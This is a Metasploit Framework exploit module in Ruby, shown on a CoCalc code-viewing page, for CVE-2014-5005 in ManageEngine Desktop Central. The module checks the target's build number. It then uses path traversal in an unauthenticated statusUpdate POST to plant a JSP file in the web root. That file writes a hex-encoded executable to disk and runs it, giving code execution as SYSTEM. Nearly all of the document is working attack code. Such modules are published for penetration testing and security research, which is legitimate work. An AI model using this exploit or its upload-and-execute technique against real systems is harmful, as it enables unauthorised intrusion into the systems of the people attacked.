CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
include Msf::Exploit::FileDropper
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload',
16
'Description' => %q{
17
This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral
18
v7 to v9 build 90054 (including the MSP versions).
19
A malicious user can upload a JSP file into the web root without authentication, leading to
20
arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as
21
they do not ship with a bundled Java compiler.
22
},
23
'Author' =>
24
[
25
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
['CVE', '2014-5005'],
31
['OSVDB', '110643'],
32
['URL', 'https://seclists.org/fulldisclosure/2014/Aug/88']
33
],
34
'Platform' => 'win',
35
'Arch' => ARCH_X86,
36
'Targets' =>
37
[
38
[ 'Desktop Central v7 to v9 build 90054 / Windows', {} ]
39
],
40
'Privileged' => true,
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2014-08-31'
43
))
44
45
register_options([Opt::RPORT(8020)])
46
end
47
48
49
# Test for Desktop Central
50
def check
51
res = send_request_cgi({
52
'uri' => normalize_uri("configurations.do"),
53
'method' => 'GET'
54
})
55
56
if res && res.code == 200
57
build = nil
58
59
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
60
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
61
62
print_status("Detected Desktop Central v7")
63
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
64
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
65
66
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions)
67
build = $1
68
print_status("Detected Desktop Central v8 #{build}")
69
else # DC v8 (earlier versions)
70
print_status("Detected Desktop Central v8")
71
end
72
elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
73
build = $1
74
end
75
76
if build.nil?
77
return Exploit::CheckCode::Unknown
78
elsif Rex::Version.new(build) < Rex::Version.new("90055")
79
return Exploit::CheckCode::Appears
80
else
81
return Exploit::CheckCode::Safe
82
end
83
end
84
85
Exploit::CheckCode::Unknown
86
end
87
88
def exploit
89
print_status("Uploading JSP to execute the payload")
90
91
exe = payload.encoded_exe
92
exe_filename = rand_text_alpha_lower(8) + ".exe"
93
94
jsp_payload = jsp_drop_and_execute(exe, exe_filename)
95
jsp_name = rand_text_alpha_lower(8) + ".jsp"
96
97
send_request_cgi({
98
'uri' => normalize_uri('statusUpdate'),
99
'method' => 'POST',
100
'data' => jsp_payload,
101
'ctype' => 'text/html',
102
'vars_get' => {
103
'actionToCall' => 'LFU',
104
'configDataID' => '1',
105
'customerId' => rand_text_numeric(4),
106
'fileName' => '../' * 6 << jsp_name
107
}
108
})
109
# We could check for HTTP 200 and a "success" string.
110
# However only some later v8 and v9 versions return this; and we don't really care
111
# and do a GET to the file we just uploaded anyway.
112
113
register_files_for_cleanup(exe_filename)
114
register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}")
115
116
print_status("Executing payload")
117
send_request_cgi(
118
{
119
'uri' => normalize_uri(jsp_name),
120
'method' => 'GET'
121
})
122
end
123
124
125
def jsp_drop_bin(bin_data, output_file)
126
jspraw = %Q|<%@ page import="java.io.*" %>\n|
127
jspraw << %Q|<%\n|
128
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
129
130
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
131
132
jspraw << %Q|int numbytes = data.length();\n|
133
134
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
135
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
136
jspraw << %Q|{\n|
137
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
138
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
139
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
140
jspraw << %Q| comb <<= 4;\n|
141
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
142
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
143
jspraw << %Q|}\n|
144
145
jspraw << %Q|outputstream.write(bytes);\n|
146
jspraw << %Q|outputstream.close();\n|
147
jspraw << %Q|%>\n|
148
149
jspraw
150
end
151
152
153
def jsp_execute_command(command)
154
jspraw = %Q|\n|
155
jspraw << %Q|<%\n|
156
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
157
jspraw << %Q|%>\n|
158
159
jspraw
160
end
161
162
163
def jsp_drop_and_execute(bin_data, output_file)
164
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
165
end
166
end
167
168